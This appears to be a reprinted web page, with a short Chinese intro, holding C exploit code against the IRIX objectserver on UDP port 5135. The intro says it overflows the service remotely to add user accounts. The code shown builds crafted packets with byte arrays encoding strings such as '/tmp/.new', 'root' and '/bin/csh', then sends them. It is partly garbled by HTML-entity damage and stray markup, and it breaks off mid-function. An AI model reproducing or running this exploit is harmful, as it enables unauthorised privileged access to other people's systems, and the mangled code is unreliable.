导读-- 下面的漏洞程序将导致IRIX objectserver(udp端口为5135)远程溢出。可以运行远程添加用户帐号.如下面的”account”帐号......
small>c=0;
p=(char*)iov[0].iov_base;
d=p[0x0a]*0x100+p[0x0b];
p=(char*)iov[1].iov_base;
printf("%04x ",d);
for(i=0;i$#@60;d;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j$#@60;16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c$#@62;1){
for(i=0;i$#@60;(16-c);i++) printf(" ");
for(i=0;i$#@60;c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
fflush(stdout);
}
char numer_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
};
char numer_two[0x24]={
0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
0x01,0x07,0x01,0x01
};
char dodaj_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
};
char dodaj_two[1024]={
0x1c,0x03,0x00,0x43,0x02,0x01,0x1d,0x0a,
0x01,0x01,0x3b,0x01,0x78
};
char dodaj_three[27]={
0x01,0x02,0x0a,0x01,0x01,0x3b,
0x01,0x78,0x00,0x00,0x80,0x43,0x01,0x10,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x01,0x01,0x09,0x43,0x01
};
char dodaj_four[200]={
0x17,0x0b,0x01,0x01,0x3b,0x01,0x02,
0x01,0x01,0x01,0x09,0x43,0x01,0x03,0x4c,
0x73,0x44,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x06,0x01,0x09,0x43,0x00,0x17,
0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,0x07,
0x01,0x09,0x43,0x00,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x02,0x01,0x03,0x01,0x09,0x43,
0x00,0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,
0x01,0x09,0x01,0x09,0x43,0x00,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x0d,0x0 br>
0x09,0x43,0x00,0x17,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x10,0x01,0x09,0x43,0x00,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0a,0x01,0x09,0x43,0x00,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x0e,0x01,0x03,
0x01,0x09,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x04,0x01,0x09,0x43,0x01,0x0d,
0
x61,0x6b,0x46,0x4a,0x64,0x78,0x65,0x6e,
0x4b,0x6e,0x79,0x53,0x2e,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x11,0x01,0x09,
0x43,0x01,0x09,0x2f,0x74,0x6d,0x70,0x2f,
0x2e,0x6e,0x65,0x77,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x6e,0x01,0x12,0x01,0x09,0x43,
0x01,0x04,0x72,0x6f,0x6f,0x74,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x02,0x01,
0x03
};
char dodaj_five
[39]={
0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x13,0x01,0x09,0x43,0x01,0x08,
0x2f,0x62,0x69,0x6e,0x2f,0x63,0x73,0x68,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0f,0x01,0x09,0x43,0x01,0x03,L,S,D
};
char fake_adrs[0x10]={
0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char *get_sysinfo(){
int i=0,j,len;
iov[0].iov_base=numer_one;
iov[0].iov_len=0x10;
iov[1].iov_base=numer_two;
iov[1].iov_len=0x24;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0));
show_msg();
printf("\n");